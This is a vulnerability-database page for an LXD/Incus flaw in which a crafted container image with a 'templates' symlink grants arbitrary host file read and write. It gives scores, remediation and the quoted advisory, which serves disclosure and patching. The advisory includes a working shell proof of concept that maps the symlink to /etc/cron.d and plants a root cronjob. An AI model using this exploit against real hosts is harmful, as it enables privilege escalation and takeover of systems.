- Exploited
- No known exploitation
- Fix
- Fixed in 0.0.0-20260203144152-d1c8ba15d160
- Who is exposed
- Not reported
Do first: Upgrade to a fixed version: 0.0.0-20260203144152-d1c8ba15d160.
- Last modified
- A 0-100 score for how much a CVE matters across the industry: exploitation, exposure, how widely the software is used, severity and whether a fix exists.What do these mean? →
- 19/100 · provisional
- The rating the maker of the software gives it. Shown when it differs from the CVSS level.What do these mean? →
- Critical (ghsa)
- Whether working attack code is public (Exploit-DB, Metasploit, Nuclei or GitHub). Public code makes attacks easier.What do these mean? →
- None on Exploit-DB, Metasploit or GitHub
Summary
LXD has a flaw that lets an attacker read and write arbitrary files on the host by supplying a specially crafted container image that contains a symlink named "templates." This could possibly lead to command execution on the host.
Written by anthropic/claude-haiku-5.5 from the sources below. Verify against them.
Read the original description
Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.
In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.
PoC
Below, we map the templates directory to /etc/cron.d on the host, but it can be mapped anywhere. We then create a cronjob to run id as root.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC templates symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template ls afrw-image-templates-symlink
# read
#incus config template show afrw-image-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink pocImpact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
cve.now Index
- Exploitation?/40Unknown. No CISA SSVC exploitation rating yet
- Exposure?/25Unknown. No advisory context yet
- Reach10/20Affects Go packages
- Severity9/10Rated critical by ghsa
- No patch0/5No signal
What would change the score
- Would score about 74 if added to CISA KEV
- Would score about 69 if CISA's SSVC rates exploitation active
- Would score about 41 if advisories confirm default setups are exposed
What to do
Upgrade to a fixed version: 0.0.0-20260203144152-d1c8ba15d160.
Timeline
- Advisory published
- Record last updated
- First seen by cve.now
Affected versions
- github.com/canonical/lxdGo
fixed in 0.0.0-20260203144152-d1c8ba15d160
Evidence 13
- Advisory
- Advisory
- Advisory
- Repository
- Repository
Show all 13 sourcesShow fewer sources
- Repository
- Repository
- Repository
- Repository
- Repository
- Repository
- Repository
- Repository
Corrections
None so far.
Something wrong on this page? Report an error. Every fix is listed here.
Questions about GHSA-JPF8-86F3-WP38
Is GHSA-JPF8-86F3-WP38 being exploited?
It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data
Which versions are affected by GHSA-JPF8-86F3-WP38?
github.com/canonical/lxd (Go): before 0.0.0-20260203144152-d1c8ba15d160.Source: cve.now feed data
How do I fix GHSA-JPF8-86F3-WP38?
Upgrade to a fixed version: 0.0.0-20260203144152-d1c8ba15d160.Source: cve.now feed data